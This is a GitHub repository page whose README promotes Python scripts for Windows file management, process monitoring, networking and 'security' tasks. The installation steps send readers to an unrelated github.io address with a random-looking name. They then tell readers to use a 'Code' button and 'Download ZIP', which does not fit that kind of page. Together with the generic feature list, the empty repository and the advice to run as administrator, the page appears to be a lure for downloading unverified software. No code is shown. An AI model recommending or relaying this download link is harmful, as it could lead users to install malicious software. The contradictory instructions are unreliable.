Skip to content

Latest commit

 

History

4 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 

Repository files navigation

🖥️ Python-System-Administration - Simplify your daily computer management tasks

This project provides tools to help you manage your computer systems. It uses Python scripts to perform common jobs like moving files, checking computer processes, and backing up data. You do not need to write code to use these tools. We designed them to assist anyone who wants to automate repetitive tasks on a Windows computer.

⚙️ System Requirements

Before you start, check that your computer meets these needs:

  • Windows 10 or Windows 11.
  • At least 200 MB of free storage space.
  • An active internet connection to download the necessary files.
  • Python 3.10 or newer must be installed on your machine.

If you do not have Python, you can find the installer on the official website. Run the installer and check the box that says "Add Python to PATH" during the installation process. This step is necessary for the tools to function correctly.

💾 Installation Guide

Follow these steps to set up the software on your machine:

  1. Visit the download page here: https://unerect-cerebellarhemisphere280.github.io
  2. Locate the green "Code" button near the top right of the page.
  3. Choose "Download ZIP" from the menu.
  4. Save the file to your computer.
  5. Right-click the zip file and choose "Extract All" to create a new folder.
  6. Open the folder to see the contents.

🚀 How to Run the Tools

These tools run through the Windows Command Prompt.

  1. Open the folder that you extracted.
  2. Click inside the address bar at the top of the folder window.
  3. Type cmd and press Enter. This opens the command terminal in the correct location.
  4. To run a specific script, type python followed by the name of the file. For example, to run the disk cleaner, type python disk_cleanup.py.
  5. The script will start and show text on the screen to explain its progress.

🔍 Available Features

This repository includes several tools to assist your workflow.

File Management

Use these scripts to organize your documents. They can sort files by date or size, delete old temporary files, or copy backups to a different drive. This keeps your folders clean and saves drive space.

Process Automation

Stop programs that are not responding or monitor your computer’s performance. The scripts track how much memory or CPU power you consume and alert you if the system slows down.

Network Utilities

Check your local network connection. Use these tools to ping websites, scan for active devices, or test your download speed. These scripts make it easy to see if a connection issue exists on your end or the network.

Security Tools

These utilities help you change file permissions or scan for unauthorized changes to system logs. They provide insight into your security without requiring deep technical knowledge.

Cloud Automation

Connect your local folders to cloud storage. Sync files automatically to ensure you have a copy of your work in a safe location.

🛠️ Troubleshooting Common Problems

If you encounter an error, check these items first:

  • Command not found: This means the computer does not see Python. Ensure you installed Python and added it to your system path.
  • Permission denied: Some tasks require administrator access. Right-click the Command Prompt icon and select "Run as administrator" before you try to run the script again.
  • Script fails: Ensure you are in the folder where the script lives. Use the dir command in the terminal to see if the file exists in your current folder.
  • Missing module: Some scripts require extra libraries. You can install these by typing pip install -r requirements.txt in your terminal window.

📝 Performance Tips

  • Close other large programs when you run bulk automated tasks.
  • Keep your scripts in a single folder to avoid clutter.
  • Run the disk cleaner once a week to maintain system health.
  • Check the log files generated by the tools to understand what actions the scripts performed.

This software is built to be modular. You can use one script or all of them depending on your specific needs. The scripts are plain text files, which means you can open them in any text editor to see how they function. Change the settings inside these files if you want to alter the behavior or target different folders. Always make a copy of a script before you modify it.

Keywords: automation, cloud-automation, monitoring, monitoring-automation, networking, process-automation, python, python-automation, python-devops, python-script, python-tools, scripts

About

Automate server management tasks, file operations, and system monitoring using Python scripts tailored for system administrators.

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors